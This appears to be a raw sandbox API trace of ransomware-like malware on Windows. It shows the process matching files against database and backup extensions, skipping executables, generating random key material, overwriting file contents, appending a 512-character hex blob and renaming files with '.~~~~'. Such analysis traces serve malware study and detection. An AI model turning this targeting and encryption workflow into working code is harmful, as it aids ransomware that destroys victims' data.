	[0082.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".vhd") returned 0x0
	[0082.596] lstrlenW (lpString=".bac") returned 4
	[0082.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".bac") returned 0x0
	[0082.596] lstrlenW (lpString=".mdf") returned 4
	[0082.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".mdf") returned 0x0
	[0082.596] lstrlenW (lpString=".BAK") returned 4
	[0082.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".BAK") returned 0x0
	[0082.596] lstrlenW (lpString=".BAC") returned 4
	[0082.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".BAC") returned 0x0
	[0082.596] lstrlenW (lpString=".dbs") returned 4
	[0082.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".dbs") returned 0x0
	[0082.596] lstrlenW (lpString=".vhdx") returned 5
	[0082.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".vhdx") returned 0x0
	[0082.596] lstrlenW (lpString=".NDF") returned 4
	[0082.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".NDF") returned 0x0
	[0082.596] lstrlenW (lpString=".dat") returned 4
	[0082.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".dat") returned 0x0
	[0082.596] lstrlenW (lpString=".DBS") returned 4
	[0082.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".DBS") returned 0x0
	[0082.596] lstrlenW (lpString=".CKP") returned 4
	[0082.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".CKP") returned 0x0
	[0082.596] lstrlenW (lpString=".edb") returned 4
	[0082.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".edb") returned 0x0
	[0082.596] lstrlenW (lpString=".PST") returned 4
	[0082.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".PST") returned 0x0
	[0082.597] lstrlenW (lpString=".dbf") returned 4
	[0082.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".dbf") returned 0x0
	[0082.597] lstrlenW (lpString=".SQL") returned 4
	[0082.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".SQL") returned 0x0
	[0082.597] lstrlenW (lpString=".pst") returned 4
	[0082.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".pst") returned 0x0
	[0082.597] lstrlenW (lpString=".dbv") returned 4
	[0082.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".dbv") returned 0x0
	[0082.597] lstrlenW (lpString=".SDF") returned 4
	[0082.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".SDF") returned 0x0
	[0082.597] lstrlenW (lpString=".dtxs") returned 5
	[0082.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".dtxs") returned 0x0
	[0082.597] lstrlenW (lpString=".db3") returned 4
	[0082.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".db3") returned 0x0
	[0082.597] lstrlenW (lpString=".OST") returned 4
	[0082.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".OST") returned 0x0
	[0082.597] lstrlenW (lpString=".dbx") returned 4
	[0082.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".dbx") returned 0x0
	[0082.597] lstrlenW (lpString=".DB3") returned 4
	[0082.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".DB3") returned 0x0
	[0082.597] lstrlenW (lpString=".DAT") returned 4
	[0082.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".DAT") returned 0x0
	[0082.597] lstrlenW (lpString=".VHDX") returned 5
	[0082.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".VHDX") returned 0x0
	[0082.597] lstrlenW (lpString=".ndf") returned 4
	[0082.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".ndf") returned 0x0
	[0082.598] lstrlenW (lpString=".DB") returned 3
	[0082.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".DB") returned 0x0
	[0082.598] lstrlenW (lpString=".sql") returned 4
	[0082.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".sql") returned 0x0
	[0082.598] lstrlenW (lpString=".MYD") returned 4
	[0082.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".MYD") returned 0x0
	[0082.598] lstrlenW (lpString=".DBT") returned 4
	[0082.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".DBT") returned 0x0
	[0082.598] lstrlenW (lpString=".ACCDB") returned 6
	[0082.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".ACCDB") returned 0x0
	[0082.598] lstrlenW (lpString=".fdb") returned 4
	[0082.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".fdb") returned 0x0
	[0082.598] lstrlenW (lpString=".bak") returned 4
	[0082.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".bak") returned 0x0
	[0082.598] lstrlenW (lpString=".myd") returned 4
	[0082.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".myd") returned 0x0
	[0082.598] lstrlenW (lpString=".DTXS") returned 5
	[0082.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".DTXS") returned 0x0
	[0082.598] lstrlenW (lpString=".ckp") returned 4
	[0082.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".ckp") returned 0x0
	[0082.598] lstrlenW (lpString=".dbt") returned 4
	[0082.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".dbt") returned 0x0
	[0082.598] lstrlenW (lpString=".db") returned 3
	[0082.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".db") returned 0x0
	[0082.598] lstrlenW (lpString=".TXT") returned 4
	[0082.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".TXT") returned 0x0
	[0082.598] lstrlenW (lpString=".MDF") returned 4
	[0082.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".MDF") returned 0x0
	[0082.599] lstrlenW (lpString=".bdb") returned 4
	[0082.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".bdb") returned 0x0
	[0082.599] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0082.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.599] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0082.600] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.600] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0082.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0082.600] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20259026178) returned 1
	[0082.600] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9b13cc30, dwHighDateTime=0x1d60e1e)) 
	[0082.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0082.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0082.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0082.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac580
	[0082.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac580 | out: hHeap=0x300000) returned 1
	[0082.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7c30
	[0082.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a75f0
	[0082.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.601] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0082.601] GetLastError () returned 0x0
	[0082.601] GetLastError () returned 0x0
	[0082.601] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0082.601] GetLastError () returned 0x0
	[0082.602] GetLastError () returned 0x0
	[0082.602] ReadFile (in: hFile=0x11c, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x3574, lpOverlapped=0x0) returned 1
	[0082.604] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffca8c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.605] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x3574, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x3574, lpOverlapped=0x0) returned 1
	[0082.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.605] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.605] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.605] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.605] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.605] CloseHandle (hObject=0x11c) returned 1
	[0082.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.605] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.~~~~")) returned 1
	[0082.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0082.606] GetLastError () returned 0x0
	[0082.606] RtlWakeConditionVariable () returned 0x365f70
	[0082.606] GetCurrentThreadId () returned 0x9cc
	[0082.606] GetCurrentThreadId () returned 0x9cc
	[0082.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc080
	[0082.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7688 | out: hHeap=0x300000) returned 1
	[0082.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac548 | out: hHeap=0x300000) returned 1
	[0082.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7688
	[0082.607] lstrlenW (lpString=".scr") returned 4
	[0082.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpSrch=".scr") returned 0x0
	[0082.607] lstrlenW (lpString=".cmd") returned 4
	[0082.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpSrch=".cmd") returned 0x0
	[0082.607] lstrlenW (lpString=".dll") returned 4
	[0082.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpSrch=".dll") returned 0x0
	[0082.607] lstrlenW (lpString=".bat") returned 4
	[0082.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpSrch=".bat") returned 0x0
	[0082.607] lstrlenW (lpString=".cpl") returned 4
	[0082.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpSrch=".cpl") returned 0x0
	[0082.607] lstrlenW (lpString=".sys") returned 4
	[0082.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpSrch=".sys") returned 0x0
	[0082.607] lstrlenW (lpString=".msc") returned 4
	[0082.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpSrch=".msc") returned 0x0
	[0082.607] lstrlenW (lpString=".com") returned 4
	[0082.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpSrch=".com") returned 0x0
	[0082.607] lstrlenW (lpString=".lnk") returned 4
	[0082.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpSrch=".lnk") returned 0x0
	[0082.607] lstrlenW (lpString=".msp") returned 4
	[0082.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpSrch=".msp") returned 0x0
	[0082.607] lstrlenW (lpString=".pif") returned 4
	[0082.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpSrch=".pif") returned 0x0
	[0082.607] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpSrch="msp\r\n.pif") returned 0x0
	[0082.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7688 | out: hHeap=0x300000) returned 1
	[0082.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc080 | out: hHeap=0x300000) returned 1
	[0082.610] RtlWakeConditionVariable () returned 0x365f70
	[0082.610] GetCurrentThreadId () returned 0x9cc
	[0082.610] GetCurrentThreadId () returned 0x9cc
	[0082.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aace8 | out: hHeap=0x300000) returned 1
	[0082.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac510 | out: hHeap=0x300000) returned 1
	[0082.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aace8
	[0082.610] lstrlenW (lpString=".scr") returned 4
	[0082.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", lpSrch=".scr") returned 0x0
	[0082.610] lstrlenW (lpString=".cmd") returned 4
	[0082.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", lpSrch=".cmd") returned 0x0
	[0082.610] lstrlenW (lpString=".dll") returned 4
	[0082.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", lpSrch=".dll") returned 0x0
	[0082.610] lstrlenW (lpString=".bat") returned 4
	[0082.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", lpSrch=".bat") returned 0x0
	[0082.610] lstrlenW (lpString=".cpl") returned 4
	[0082.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", lpSrch=".cpl") returned 0x0
	[0082.610] lstrlenW (lpString=".sys") returned 4
	[0082.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", lpSrch=".sys") returned 0x0
	[0082.610] lstrlenW (lpString=".msc") returned 4
	[0082.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", lpSrch=".msc") returned 0x0
	[0082.611] lstrlenW (lpString=".com") returned 4
	[0082.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", lpSrch=".com") returned 0x0
	[0082.611] lstrlenW (lpString=".lnk") returned 4
	[0082.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", lpSrch=".lnk") returned 0x0
	[0082.611] lstrlenW (lpString=".msp") returned 4
	[0082.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", lpSrch=".msp") returned 0x0
	[0082.611] lstrlenW (lpString=".pif") returned 4
	[0082.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", lpSrch=".pif") returned 0x0
	[0082.611] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", lpSrch="msp\r\n.pif") returned 0x0
	[0082.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aace8 | out: hHeap=0x300000) returned 1
	[0082.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.614] RtlWakeConditionVariable () returned 0x365f70
	[0082.614] GetCurrentThreadId () returned 0x9cc
	[0082.614] GetCurrentThreadId () returned 0x9cc
	[0082.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa850 | out: hHeap=0x300000) returned 1
	[0082.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac4d8 | out: hHeap=0x300000) returned 1
	[0082.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa850
	[0082.614] lstrlenW (lpString=".scr") returned 4
	[0082.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", lpSrch=".scr") returned 0x0
	[0082.614] lstrlenW (lpString=".cmd") returned 4
	[0082.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", lpSrch=".cmd") returned 0x0
	[0082.614] lstrlenW (lpString=".dll") returned 4
	[0082.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", lpSrch=".dll") returned 0x0
	[0082.614] lstrlenW (lpString=".bat") returned 4
	[0082.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", lpSrch=".bat") returned 0x0
	[0082.614] lstrlenW (lpString=".cpl") returned 4
	[0082.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", lpSrch=".cpl") returned 0x0
	[0082.614] lstrlenW (lpString=".sys") returned 4
	[0082.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", lpSrch=".sys") returned 0x0
	[0082.615] lstrlenW (lpString=".msc") returned 4
	[0082.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", lpSrch=".msc") returned 0x0
	[0082.615] lstrlenW (lpString=".com") returned 4
	[0082.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", lpSrch=".com") returned 0x0
	[0082.615] lstrlenW (lpString=".lnk") returned 4
	[0082.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", lpSrch=".lnk") returned 0x0
	[0082.615] lstrlenW (lpString=".msp") returned 4
	[0082.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", lpSrch=".msp") returned 0x0
	[0082.615] lstrlenW (lpString=".pif") returned 4
	[0082.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", lpSrch=".pif") returned 0x0
	[0082.615] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", lpSrch="msp\r\n.pif") returned 0x0
	[0082.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa850 | out: hHeap=0x300000) returned 1
	[0082.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.617] RtlWakeConditionVariable () returned 0x365f70
	[0082.617] GetCurrentThreadId () returned 0x9cc
	[0082.617] GetCurrentThreadId () returned 0x9cc
	[0082.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa658 | out: hHeap=0x300000) returned 1
	[0082.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac4a0 | out: hHeap=0x300000) returned 1
	[0082.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa658
	[0082.617] lstrlenW (lpString=".scr") returned 4
	[0082.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", lpSrch=".scr") returned 0x0
	[0082.617] lstrlenW (lpString=".cmd") returned 4
	[0082.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", lpSrch=".cmd") returned 0x0
	[0082.618] lstrlenW (lpString=".dll") returned 4
